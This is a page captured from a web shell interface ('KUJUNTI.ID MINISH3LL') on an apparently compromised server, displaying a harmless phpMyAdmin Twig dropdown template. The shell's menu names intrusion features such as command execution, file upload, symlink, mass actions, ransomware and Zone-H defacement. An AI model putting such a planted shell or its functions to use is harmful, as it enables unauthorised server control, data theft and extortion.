KUJUNTI.ID MINISH3LL
Path : /var/www/html/phpmyadmin/templates/table/relation/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/phpmyadmin/templates/table/relation/relational_dropdown.twig


<select name="{{ name }}" title="{{ title }}">
    <option value=""></option>
    {% set seen_key = false %}
    {% for value in values %}
        <option value="{{ value }}"
            {%- if (foreign is not same as(false) and value == foreign) or
              (not foreign and db is defined and db is same as (value)) %}
                selected="selected"
                {%- set seen_key = true -%}
            {%- endif %}>
            {{ value }}
        </option>
    {% endfor %}
    {% if foreign is not same as(false) and foreign != "" and not seen_key %}
        <option value="{{ foreign }}" selected="selected">
            {{ foreign }}
        </option>
    {% endif %}
</select>

© KUJUNTI.ID